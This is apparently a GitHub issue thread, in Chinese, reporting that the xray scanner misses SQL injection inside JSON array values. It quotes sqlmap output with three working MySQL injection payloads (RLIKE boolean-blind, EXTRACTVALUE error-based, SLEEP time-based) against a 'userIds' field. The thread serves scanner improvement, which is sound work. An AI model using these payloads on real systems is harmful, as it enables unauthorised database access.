列表json中的参数 没有检测出sql注入

[libb-test123]

发现没有在列表值中注入探测点，所以这部分sql注入没有发现
通过burpsuite和sqlmap是能够发现该问题的

[Jarcis-cy]

此处应该是能检测出来的，方便说下payload或者提供一下测试站点吗？

[libb-test123]

这个是xray跑出来的结果

下面是使用sqlmap扫描排除的结果(burp suite也扫描出来了)

sqlmap的日志如下：
sqlmap identified the following injection point(s) with a total of 426 HTTP(s) requests:

Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: {"userIds":["n1ddae22de4f74f8993e83c6' RLIKE (SELECT (CASE WHEN (5473=5473) THEN 0x6e3164646165323264653466373466383939336538336336 ELSE 0x28 END)) AND 'IlcB'='IlcB"],"uGroupIds":[],"privilegeName":"READER","resourceId":"p7a63bcf493fb49c4959633c","resourceType":"data-source"}

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: {"userIds":["n1ddae22de4f74f8993e83c6' AND EXTRACTVALUE(9553,CONCAT(0x5c,0x7178707a71,(SELECT (ELT(9553=9553,1))),0x7178706271)) AND 'ubrK'='ubrK"],"uGroupIds":[],"privilegeName":"READER","resourceId":"p7a63bcf493fb49c4959633c","resourceType":"data-source"}

Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: {"userIds":["n1ddae22de4f74f8993e83c6' RLIKE SLEEP(5) AND 'NkVF'='NkVF"],"uGroupIds":[],"privilegeName":"READER","resourceId":"p7a63bcf493fb49c4959633c","resourceType":"data-source"}

---

[Jarcis-cy]

了解了，这个是因为当前xray对于json的解析深度限制导致的，后面我们会优化一下这个问题，感谢反馈！